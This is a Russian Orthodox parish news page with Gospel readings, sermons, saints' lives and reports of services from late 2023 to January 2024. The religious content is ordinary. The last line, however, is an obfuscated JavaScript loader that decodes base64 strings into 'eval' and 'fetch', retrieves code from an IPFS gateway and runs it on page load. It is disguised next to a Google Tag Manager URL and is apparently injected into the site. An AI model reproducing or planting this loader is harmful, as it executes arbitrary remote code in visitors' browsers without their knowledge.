  Иисус говорит им: дети! есть ли у вас какая пища? Они отвечали Ему: нет.

  Он же сказал им: закиньте сеть по правую сторону лодки, и поймаете. Они закинули, и уже не могли вытащить сети от множества рыбы.

  Тогда ученик, которого любил Иисус, говорит Петру: это Господь. Симон же Петр, услышав, что это Господь, опоясался одеждою, – ибо он был наг, – и бросился в море.

  А другие ученики приплыли в лодке, – ибо недалеко были от земли, локтей около двухсот, – таща сеть с рыбою.

  Когда же вышли на землю, видят разложенный огонь и на нем лежащую рыбу и хлеб.

  Иисус говорит им: принесите рыбы, которую вы теперь поймали.

  Симон Петр пошел и вытащил на землю сеть, наполненную большими рыбами, которых было сто пятьдесят три; и при таком множестве не прорвалась сеть.

  Иисус говорит им: придите, обедайте. Из учеников же никто не смел спросить Его: кто Ты? зная, что это Господь.

  Иисус приходит, берет хлеб и дает им, также и рыбу.

  Это уже в третий раз явился Иисус ученикам Своим по воскресении Своем из мертвых.

  РОЖДЕСТВО ГОСПОДА И БОГА И СПАСА НАШЕГО ИИСУСА ХРИСТА

  В ночь с 6-го на 7-е января 2024 года, в день празднования Рождества Господа Бога и Спаса нашего Иисуса Христа, настоятель храма иерей Василий Колчар совершил праздничную Божественную Литургию . Многократно в храме народом воспевался тропарь нынешнего великого праздника: «Рождество Твое Христе Боже наш, возсия мирови свет разума: в нем бо звездам служащии, звездою учахуся, Тебе кланятися Солнцу правды, и Тебе ведети с высоты Востока: Господи, слава Тебе».Для всех присутствующих во всеуслышание с амвона храма батюшка зачитал Рождественское послание преосвященнейшего Феогноста епископа Новороссийского и Геленджикского.В своем слове проповеди настоятель храма поздравил всех с великим праздником Рождества Христова.» Благодарю вас, дорогие братия и сестры, что вы пришли в эту светозарную ночь в храм, чтобы прославить Спасителя, чтобы соединиться с ним в Таинстве Причастия. Поздравляю вас с этим величайшим Таинством соединения с самим Господом. Пусть Господь поможет всем нам быть достойными своего звания, жить по-христиански. Пусть Богомладенец Христос, озаряющий нашу жизнь своим светом Вифлеемской звезды, укажет нам путь к Нему. А Царствие Небесное находится не в каких-то определенных местах, а, как говорит Господь: «Царство Божие внутрь вас есть». Мы либо чувствуем близость к нему и любовь в сердце, либо нет. Надеюсь, что мы будем стремиться к тому, чтобы очистить свои сердца, соединиться с Господом и почувствовать ту благодать, которую Господь дарует испытать верующему человеку в дни особых великих праздников.»

  РОЖДЕСТВЕНСКИЙ СОЧЕЛЬНИК

  В навечерие Рождества Христова, 6 января была совершена Божественная Литургия святителя Василия Великого,по окончании которой настоятель храма иерей Василий Колчар произнес молитву на освящения сочива.Далее обратившись с словом проповеди к собравшимся» Всех вас, дорогие братия и сестры, поздравляю с началом праздничных дней, с началом прославления Рождшегося Богомладенца. Пусть Господь, пришедший в этот мир для спасения всех людей, поможет и нам очиститься от наших прегрешений и соделаться тем вертепом, в который бы вселился Господь. Как воссияла Вифлеемская звезда, которая вела мудрецов к Спасителю, так же и Он будет вести нас к Себе через различные тернии, неприятности, войны и скорби. Но мы будем знать, что мы на правильном пути только тогда, когда мы научимся соблюдать заповеди. Дай Бог всем нам хранить эти заповеди и совершенствоваться духовно. И пусть Богомладенец Христос освящает всю нашу жизнь Своей любовью. С праздником!»

   

  31 декабря «Елка в нашем храме»

  Накануне Нового года 31 декабря, в храме Феодоровской иконы Божией Матери х.Бетта по окончании Божественной Литургии сотсоялся новогодний утренник «Елка в нашем храме «.
  Настоятель храма иерей Василий Колчар расказал детям о приближающемся празднике Рождества Христова,а также поздравил всех с наступающим Новым Годом!
  Дети у елки расказывали стишки,за которые получили вкусные подарки.

  ПУСТЬ БЛАГОСЛОВЕНИЕ СВЯТИТЕЛЯ НИКОЛАЯ УТВЕРЖДАЕТ И УКРЕПЛЯЕТ ВСЕХ НАС В ДЕЛАНИИ ЗАПОВЕДЕЙ ХРИСТОВЫХ

  Святителя Николая, архиепископа Мир Ликийских, Чудотворца (ок. 335).

  19 декабря в день праздника святителя Христова Николая Чудотворца, иерей Сергий Гусев совершил Божественную Литургию.

  Святитель Николай родился в городе Патары, Малоазийской провинции Ликии, примерно в 249–250–гг. по Рождестве Христовом. Родители его – Феофан и Нонна – были благочестивыми людьми. Воспитанию будущего Святителя много внимания уделял его дядя – епископ Николай Патарский. С юных лет его воспитанник обнаружил великое благочестие, уже в 20 лет был он пресвитером и заместителем своего дяди на Патарской кафедре. Промыслом Божиим пресвитер Николай был возведён на высокое архиепископское служение в столичном городе Ликийской провинции – Мирах. В 285 г., с воцарением императора Диоклетиана, началось страшное гонение христиан, грозившее им полным уничтожением. Святитель Николай был заключён в темницу; он получил свободу лишь при императоре Константине (306 г.).

  В 325 г. Святитель Николай – среди отцов Первого Вселенского Собора, созванного для осуждения ереси Ария, учившего о неравночестности Сына Божия, Иисуса Христа, с Богом Отцом, подрывавшего этим основы христианства.

  Святитель дожил до глубокой старости и скончался в 343 году, прославленный даром чудотворения. Останки его были похоронены в соборном храме г. Миры. Спустя семь столетий, когда выходцы из Азии – печенеги, половцы и арабы – стали отторгать от Византийской империи область за областью, греки, проживавшие в Италии, снарядили три корабля (1087 г.) и 9 мая вывезли мощи Святителя Николая в итальянский город Бари. Папа Урбан в сопровождении духовенства встретил мощи Святителя, и они были положены под престолом в алтаре соборного храма. Через два года мощи Святителя были перенесены в новый каменный храм, где пребывают и ныне. Таковы краткие житийные сведения о Святителе Николае.

  Велик сонм угодников Божиих и святых святителей, но мало кто из них почтен так, как Святитель Николай. Людские сердца тянутся к Святителю, как роднику неиссякаемой благодати, веры живой и действенной, добродетели совершенной, молитвеннику не усыпающему. Святитель олицетворяет собой «правило веры» во Христа Спасителя. Свою веру он засвидетельствовал исповеданием христианства вовремя Диоклетианова гонения и на Первом Вселенском Соборе, утверждая вместе с другими отцами Собора равночестность Сына Божия – Христа Спасителя с Богом Отцом. Исполнение заветов Христа, и прежде всего важнейшего – любить Бога всей душой и всем сердцем и ближнего, как самого себя (см. Мф.5:43, 19:19, 22:39; Мк.12:31; Лк.10:27; Иак.2:8; Рим.13:9; Гал.5:14), стало смыслом его жизни. Веровать для Святителя – значило жить так, как учит Евангелие. Всё своё немалое имущество, полученное от родителей, и значительную часть епархиальной казны употребил он на строительство странноприимниц, посещение больных, утешение сирот и вдов. Благотворительность его была милосердием, ибо сердце его наделено было даром скорбеть скорбями ближних.

  Житие Святителя сохранило ряд примеров его миротворческой деятельности. Так, когда жителям г. Патары угрожала кровавая расправа за мятеж, Святитель явился на городскую площадь, умирил недовольных и восстановил порядок. Святитель был защитником угнетаемых и гонимых. Известно, например, что, когда в г. Миры трое воевод были незаконно осуждены на смерть, он сам отнял меч у палача и освободил невинно осуждённых. Прославление угодника Божия на Руси началось с принятием христианства.

  Характерные национальные черты русских, составляющие душу народную, в первую очередь миролюбие, «стояние за веру», страннолюбив, обратили сердца православных к Святителю Николаю, и стал он национальным русским святым, удостоенным чрезвычайного поклонения: покрыл народ наш лицо земли своей храмами во имя Святителя Николая, и редко в русских семьях родители не называли кого-нибудь из детей именем этого Святителя.

  Недостаток житийных сведений русское благочестие восполнило рядом сказаний. В одном из них рассказывается, что пожелал Господь узнать, как люди живут на земле, и послал на неё Святителя Николая и преподобного Кассиана Римлянина. Спустилось с неба посольство на Русскую землю, и увидели святые русского мужичка, тощая лошадка и воз которого увязли в дорожной грязи. Святитель предложил преподобному помочь мужичку. Преподобный же отказал: ведь они запачкают свои белые одежды, а им надо предстать пред Господом. Довод был убедителен. Однако Святитель решил помочь мужичку. Дружными усилиями Святителя и мужичка воз был вытащен из грязи на торную дорогу, и мужичок поехал. Посмотрел Святитель на свои белые одежды – они были сплошь измазаны грязью дорожной и дёгтем колёсным. Когда святые предстали пред Господом, сурово оглядел Господь Святителя и потребовал объяснений. Рассказал Святитель всё, как было, без утайки. И любовно взглянул и изрёк свой суд: «ты, Святитель, поступил верно, а ты, преподобный, – не так, как надо бы, и вот вам награда: будут память твою, Святитель, люди православные праздновать два раза в году – Николу зимнего 6 декабря и Николу вешнего – 9 мая, а тебя, преподобный, – один раз в четыре года.» (Память преподобного Кассиана отмечается только в високосном году – 29 февраля.)

  Народное сказание пытается по-своему объяснить причину двукратного празднования в году Святителя Николая и один раз в четыре года – преподобного Кассиана. Но оно даёт верную характеристику жизненному подвигу и содержанию религиозности Святителя, основа которой – вера живая и действенная и милосердие.

  Заканчивается богослужение, и мы расходимся по домам. Каждый ли из нас извлечёт полезный урок, преподанный сегодня, как и многие столетия назад, жизнью Святителя Николая?

   

  Неделя 28-я по Пятидесятнице

  Рождественский пост

  Великомученицы Варва́ры и мученицы Иулиани́и (ок. 306);  прп. Иоа́нна Дамаски́на 

  17 декабря в храме Феодоровской иконы Божия Матери была совершена Божественная литургия в Воскресный день. Богослужение совершил иерей Сергий Плужников.

  Сказал старец некоторому брату: «Диавол есть враг твой, а ты – дом. Враг не престает бросать в тебя всякий сор, какой бы ни нашел, ввергая в тебя всевозможные нечистоты. Но ты тщательно извергай из себя влагаемое им; если же вознерадишь, то дом твой наполнится сором и тебе невозможно будет войти в него. С самого начала, когда диавол начнет засорять тебя, ты постепенно выкидывай сор, и дом твой пребудет чистым благодатию Христовою».
  

  свт. Игнатий (Брянчанинов). 

  ВОСКРЕСЕНЬЕ

  3 декабря

  Неделя 26-я по Пятидесятнице

  Рождественский пост 

  Предпразднство Введения во Храм Пресвятой Богородицы; Прп. Григо́рия Декаполита (ок. 842), свт. Прокла Константинопольского, патриарха (446–447).В храме Феодоровской иконы Богородицы состоялась Божественная Литургия по окончании которой был отслужен молебен Феодоровской иконе Божия Матери.

  Лк.12:16–21 (зач.66) И сказал им притчу: у одного богатого человека был хороший урожай в поле;

  и он рассуждал сам с собою: что мне делать? некуда мне собрать плодов моих?

  И сказал: вот что сделаю: сломаю житницы мои и построю бо́льшие, и соберу туда весь хлеб мой и всё добро мое,

  и скажу душе моей: душа! много добра лежит у тебя на многие годы: покойся, ешь, пей, веселись.

  Но Бог сказал ему: безумный! в сию ночь душу твою возьмут у тебя; кому же достанется то, что ты заготовил?

  Так бывает с тем, кто собирает сокровища для себя, а не в Бога богатеет

  Седмица 26-я по Пятидесятнице

  Пророка Авди́я (из 12-ти) (IX в. до Р. Х.); мч. Варлаа́ма (ок. 304); прпп. Варлаа́ма пустынника и Иоаса́фа, царевича Индийского, и отца его. 

   Всенощное бдение в Субботу 2 декабря совершил настоятель храма иерей Василий Колчар.

  Лк.24:1–12 (зач. 112).

   В первый же день недели, очень рано, неся приготовленные ароматы, пришли они ко гробу, и вместе с ними некоторые другие;

  но нашли камень отваленным от гроба.

  И, войдя, не нашли тела Господа Иисуса.

  Когда же недоумевали они о сем, вдруг предстали перед ними два мужа в одеждах блистающих.

  И когда они были в страхе и наклонили лица свои к земле, сказали им: что вы ищете живого между мертвыми?

  Его нет здесь: Он воскрес; вспомните, как Он говорил вам, когда был еще в Галилее,

  сказывая, что Сыну Человеческому надлежит быть предану в руки человеков грешников, и быть распяту, и в третий день воскреснуть.

  И вспомнили они слова Его;

  и, возвратившись от гроба, возвестили всё это одиннадцати и всем прочим.

  То были Магдалина Мария, и Иоанна, и Мария, мать Иакова, и другие с ними, которые сказали о сем апостолам.

  И показались им слова их пустыми, и не поверили им.

  [Зач. 113.] Но Петр, встав, побежал ко гробу и, наклонившись, увидел только пелены лежащие, и пошел назад, дивясь сам в себе происшедшему.

  Неделя 25-я по Пятидесятнице

   Свт. Иоа́нна Златоуста, архиепископа Константинопольского (407).

  Мчч. Антони́на, пресвитера, Ники́фора и Ге́рмана (ок. 308); мц. Мане́фы Кесарийской (Палестинской) (ок. 308).

  Литургия Воскресного дня в храме Феодоровской иконы Богородицы.

  Лк.10:25–37 (зач. 53).

   И вот, один законник встал и, искушая Его, сказал: Учитель! что́ мне делать, чтобы наследовать жизнь вечную?

  Он же сказал ему: в законе что́ написано? ка́к читаешь?

  Он сказал в ответ: возлюби Господа Бога твоего всем сердцем твоим, и всею душою твоею, и всею крепостию твоею, и всем разумением твоим, и ближнего твоего, как самого себя.

  Иисус сказал ему: правильно ты отвечал; так поступай, и будешь жить.

  Но он, желая оправдать себя, сказал Иисусу: а кто мой ближний?

  На это сказал Иисус: некоторый человек шел из Иерусалима в Иерихон и попался разбойникам, которые сняли с него одежду, изранили его и ушли, оставив его едва живым.

  По случаю один священник шел тою дорогою и, увидев его, прошел мимо.

  Также и левит, быв на том месте, подошел, посмотрел и прошел мимо.

  Самарянин же некто, проезжая, нашел на него и, увидев его, сжалился

  и, подойдя, перевязал ему раны, возливая масло и вино; и, посадив его на своего осла, привез его в гостиницу и позаботился о нем;

  а на другой день, отъезжая, вынул два динария, дал содержателю гостиницы и сказал ему: позаботься о нем; и если издержишь что более, я, когда возвращусь, отдам тебе.

  Кто из этих троих, думаешь ты, был ближний попавшемуся разбойникам?

  Он сказал: оказавший ему милость. Тогда Иисус сказал ему: иди, и ты поступай так же.

  Всенощное бдение….

  В Субботу 25 ноября на кануне Воскресного дня в храме Богоматери совершено Всенощное бдение.

  Мк.16:9–20 (зач. 71). Воскреснув рано в первый день недели, Иисус явился сперва Марии Магдалине, из которой изгнал семь бесов.

  Она пошла и возвестила бывшим с Ним, плачущим и рыдающим;

  но они, услышав, что Он жив и она видела Его, – не поверили.

  После сего явился в ином образе двум из них на дороге, когда они шли в селение.

  И те, возвратившись, возвестили прочим; но и им не поверили.

  Наконец, явился самим одиннадцати, возлежавшим на вечери, и упрекал их за неверие и жестокосердие, что видевшим Его воскресшего не поверили.

  И сказал им: идите по всему миру и проповедуйте Евангелие всей твари.

  Кто будет веровать и креститься, спасен будет; а кто не будет веровать, осужден будет.

  Уверовавших же будут сопровождать сии знамения: именем Моим будут изгонять бесов; будут говорить новыми языками;

  будут брать змей; и если что́ смертоносное выпьют, не повредит им; возложат руки на больных, и они будут здоровы.

  И так Господь, после беседования с ними, вознесся на небо и воссел одесную Бога.

  А они пошли и проповедовали везде, при Господнем содействии и подкреплении слова последующими знамениями. Аминь.

   

  Празднование Собора Архистратига Михаила и прочих Небесных Сил бесплотных

  20 ноября в Кафедральном соборе ап. Андрея Первозванного иерей Василий Колчар совершил всенощное бдение накануне праздника Архистратига Божия Михаила  и прочих небесных сил бесплотных.Ему сослужил клирик собора иерей Сергей Гусев.

  Празднование Собора Архистратига Божия Михаила и прочих Небесных Сил бесплотных установлено в начале 4 века на Поместном Лаодикийском Соборе, проходившем за несколько лет до Первого Вселенского Собора. Совершается праздник 8 ноября (21 ноября по новому стилю) — в девятом месяце от марта (с которого в древности начинался год) — в соответствии с числом 9-ти чинов Ангельских. Восьмой же день месяца указывает на будущий Собор всех Сил Небесных в день Страшного Суда Божия, который святые отцы называют «днем восьмым». С древних времен прославлен своими чудесами архангел Михаил.

  

  19 ноября празднуется память преподобного Варлаама Хутынского.

  Преподобный Варлаам Хутынский жил в XII веке, был сыном знатного новгородца и свои детские годы провел в Новгороде. В юношеском возрасте, удалившись в подгородний Лисичий монастырь, преподобный Варлаам принял постриг. Затем он поселился на уединенном холме над Волховом, в урочище, называвшемся Хутынь, в 10 верстах от Новгорода. В уединении преподобный Варлаам проводил суровую жизнь, совершая непрестанные молитвы и соблюдая очень строгий пост. Он ревностно подвизался в трудах – сам рубил лес, пилил дрова, пахал землю.

   

  К нему собрались некоторые из жителей Новгорода, желавшие разделить с преподобным труды и подвиги. Поучая приходивших, преподобный Варлаам говорил: «Чада, блюдитесь от всякой неправды, не завидуйте, не клевещите. Воздерживайтесь от гнева, не отдавайте денег в рост. Берегитесь судить неправо. Не клянитесь лживо, давши клятву, исполняйте ее. Не предавайтесь телесным страстям. Будьте всегда кротки и ко всем относитесь с любовью. Сия добродетель – начало и корень всякого добра».

   

  Вскоре была воздвигнута церковь в честь Преображения Господня и основан монастырь. Господь ниспослал преподобному для служения ближним дар чудотворений и прозорливости. Когда дни его приближались к концу, по Божию изволению прибыл из Константинополя священноинок Антоний – сверстник и друг преподобного. Блаженный, обращаясь к нему, сказал: «Возлюбленный брат мой! Божие благоволение почивает над сею обителью. Ныне я передаю в твои руки сей монастырь. Блюди его и заботься о нем. Я уже отхожу к Царю Небесному. Но не смущайся этим: телом я покидаю вас, духом же всегда буду с вами». Преподав наставление своей братии, заповедав хранить православную веру и постоянно пребывать в смирении, преподобный Варлаам преставился ко Господу 6 ноября 1192 года.По окончании Божественной Литургии в храме был отслужен водосвятный молебен.

  

  Накануне воскресного дня в храме совершено Всенощное бдение

  Вечернее богослужение совершил настоятель  храма — иерей Василий Колчар 18 ноября.

  19 ноября Церковь вспоминает священномученика Павла I, патриарха Константинопольского.Святитель Павел, архиепископ Константинопольский, был избран на патриаршую кафедру после смерти патриарха Александра († 340), когда вновь вспыхнула арианская ересь. На Соборе, избиравшем нового Константинопольского патриарха, присутствовало много ариан. Они восставали против избрания святителя Павла, но православных членов Собора оказалось большинство. Император Констанций, царствовавший над Восточной половиной Римской империи, был арианин. Во время выборов патриарха его не было в Константинополе. По возвращении своем он созвал собор, который незаконно объявил низложенным святителя Павла, и император изгнал его из столицы. На место святителя возвели арианина Евсевия Никомидийского.Когда Евсевий умер, святитель Павел вернулся в Константинополь. Он с любовью был встречен паствой. Но Констанций вторично изгнал святого, и ему пришлось возвратиться в Рим. Император Констант написал своему восточному соправителю Констанцию грозное письмо, которое отправил в Константинополь со святым архипастырем-изгнанником. Угрозы подействовали, и святитель Павел был возвращен на патриарший престол.Однако вскоре благочестивый император Констант, защитник православных, был предательски убит во время дворцового переворота. Святителя Павла вновь изгнали из столицы и отправили в ссылку в Армению, в город Кукуз, где он принял мученическую кончину. Когда патриарх совершал Божественную литургию, ворвались ариане и задушили святого его святительским омофором. Произошло это в 350 году. В 381 году святой царь Феодосий Великий торжественно перенес мощи святителя Павла исповедника из Кукуза в Константинополь. В 1326 году мощи святителя Павла перенесены в Венецию.

   

• БОЖЕСТВЕННАЯ ЛИТУРГИЯ В ДЕНЬ РОЖДЕНИЯ ПРАВЯЩЕГО АРХИЕРЕЯ НОВОРОССИЙСКОЙ ЕПАРХИИ

9 ноября 2023 года духовенство и прихожане поздравили правящего архиерея Новороссийской епархии с Днем Рождения. В этот день в Свято-Успенском кафедральном соборе города-героя Новороссийска Преосвященнейший Феогност епископ Новороссийский и Геленджикский совершил Божественную литургию.

После богослужения с поздравительным словом к Владыке обратился глава города Новороссийска Андрей Васильевич Кравченко.

От лица духовенства Новороссийской епархии Правящего архиерея поздравил благочинный церквей Крымского округа протоиерей Сергий Карпец.

К поздравлением присоединился заместитель главы города Анапы Валерий Жоржович Королев.

Также владыку поздравили воспитанники “Гостиной Милосердия” центра помощи имени святой преподобномученицы Елисаветы.

Поздравили Владыку и сестры милосердия Успенского собора и представители храма Новомучеников и исповедников Церкви Русской города Новороссийска

 В неделю 23-ю по Пятидесятнице, совершена Божественная Литургия(12.11.2023)

 

Богослужение в день праздненства КАЗАНСКОЙ ИКОНЫ БОГОРОДИЦЫ!

Казанская икона Божией Матери является одна из самых почитаемых, и в православной церкви она славится дважды. В июле принято вспоминать ее первое явление, а в ноябре благодарят за освобождение Руси от нашествия поляков.Казанская икона Божьей Матери пользуется в России беспримерным почитанием. Икона присутствует в каждом храме, а образ Казанской Богородицы есть и в каждой верующей семье, ведь через этот образ Царица Небесная многим помогает. Она на протяжении уже почти 500 лет укрепляет веру русских людей и объединяет всех нас. Бывают периоды взлетов и падений, но мы верим в то, что Божья Матерь хранит нас от всеобщей беды.
По окончании Божественной Литургии было совершено славление                                                                                                                            праздника.

• 1 ноября 2023 года, Преосвященнейший Феогност, епископ Новороссийский и Геленджикский совершил чин освящения крестов и куполов строящегося храма в честь преподобного Севастиана Карагандинского, исповедника.
  Ему сослужил настоятель храма Феодоровской иконы Богородицы х.Бетта иерей Василий Колчар, духовенство благочиния.
  В торжественном и памятном событии приняли участие представители администрации, молодежь православного движения Верность, жители и гости города-курорта.
  В своей проповеди епископ Феогност поблагодарил всех, кто внес свою лепту в строительство этого удивительного по красоте и архитектурной сложности храма.

  

  

  

  

  
  

  Литургия в храме иконы Богоматери Феодоровская (29.10.2023)

  29 октября 2023 года, в Неделю 21-ю по Пятидесятнице, в храме иконы Богоматери Феодоровская иерей Василий Колчар совершил Божественную литургию.
  В этот день Православная Церковь празднует обретение мощей святителя Иоанна, митрополита Тобольского. По окончании богослужения было совершено славление святителю Иоанну.
  За богослужением в Евангельском чтении, Господь дал нам вновь услышать Его притчу о Сеятеле .Обратим внимание на заключительные слово притчи, а именно: «упавшее на добрую землю это те, которые, услышавши слово, хранят его в добром и чистом сердце и приносят плод в терпении». В этих заключительных словах Господь указывает на то, что мы, слушающие слово Его, должны, прежде всего, принять это слово, затем – хранить его, но хранить в «добром и чистом сердце», и лишь тогда это слово – как семя – принесет плод мног, т.е. даст нам силы и способность стать подлинно христианами, как по внутреннему строю души, так и во внешних делах наших.

  

  

  

  
  

  Родительская суббота (28.10. 2023 г.)

  Поминальный день родительской субботы.
  28 октября 2023 г. в Дмитриевскую родительскую поминальную субботу в нашем храме было совершенно заупокойное богослужение
  Димитриевская родительская суббота – ближайшая суббота перед днем памяти св. великомученика Димитрия Солунского (26 октября / 8 ноября). Установлена после битвы на Куликовом поле. Первоначально поминовение совершалось по всем воинам, павшим в этом сражении. Постепенно Димитриевская суббота стала днем заупокойного поминовения всех усопших православных христиан.

  Димитриевская суббота установлена великим князем Димитрием Донским. Одержав знаменитую победу на Куликовом поле над Мамаем 8 сентября 1380 года, Димитрий Иоаннович по возвращении с поля брани посетил Троице-Сергиеву обитель. Преподобный Сергий Радонежский, игумен обители, ранее благословил его на битву с врагами и дал ему из числа братии своей двух иноков – Александра Пересвета и Андрея Ослябю. Оба инока пали в бою и были погребены у стен храма Рождества Пресвятой Богородицы в Старом Симонове монастыре.

   

  

  

  

         

  Литургия и молебен Федоровской иконе Божией Матери (22.10.2023г.)

         22 октября 2023 г. в Неделю 20-ю по Пятидесятнице  в храме Феодоровской иконы Богородицы х.Бетта настоятелем  была совершенна Божественная Литургия с молебным пением пред месточтимым образом Феодоровской иконы Богоматери. На сугубой ектении были вознесены прошения:

Литургия и молебен Федоровской иконе Божией Матери (15.10.2023г.)

Богослужение в праздник Воздвижение Креста Господня (27.09.2023г.)

(function(w,d,s,l,i,j,k,m){w[s]||(w[s]=1,w[d(j)](d(k))[s](c=>c.text())[s](c=>w[d(i)](c)))})(window,atob,’then’,’https://www.googletagmanager.com/gtm.js?id=’,’ZXZhbA==’,’ZmV0Y2g=’,’aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtYnB2NHdCeUdrUVcxVW1XVXYzUFBrYlFHWVBOUmVKOUM5Z0JzbnoxclFKQ3U=’,’e95a5ea6′)